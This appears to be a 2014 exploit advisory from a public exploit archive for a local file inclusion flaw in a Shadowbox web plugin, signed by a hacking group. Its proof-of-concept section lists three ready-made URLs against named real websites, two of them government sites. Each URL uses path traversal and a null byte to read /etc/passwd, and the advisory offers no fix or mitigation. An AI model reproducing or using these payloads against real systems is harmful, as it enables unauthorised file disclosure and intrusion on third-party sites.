facebook facebook twitter rss

Shadowbox LFI Vulnerability

Author: TUNISIAN CYBER , Published: 03-02-2014
[+] Author: TUNISIAN CYBER
[+] Exploit Title: Shadowbox LFI Vulnerability
[+] Date: 03-02-2014
[+] Category: WebApp
[+] Google Dork: :
[+] Tested on: KaliLinux
[+] Vendor: http://shadowbox-js.com/
[+] Friendly Sites: na3il.com,th3-creative.com
###############################################################
+Description:
Shadowbox is a web-based media viewer application that supports all of the web's most popular media publishing formats.
Shadowbox is written entirely in JavaScript and CSS and is highly customizable.
Using Shadowbox, website authors can showcase a wide assortment of media in all major browsers without navigating users away from the linking page.
+Exploit:
Shadowbox suffers from a LFI vulnerability

+PoC:
http://www.comunidadedaesperanca.com.br/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
http://www.hospitalcastro.gov.cl/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
http://www.statehouse.gov.sl/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00

PS: Scroll Down to see result
########################################################################################
Greets to: XMaX-tn, N43il HacK3r, XtechSEt
Sec4Ever Members:
DamaneDz
UzunDz
GEOIX
########################################################################################

Like us on Facebook :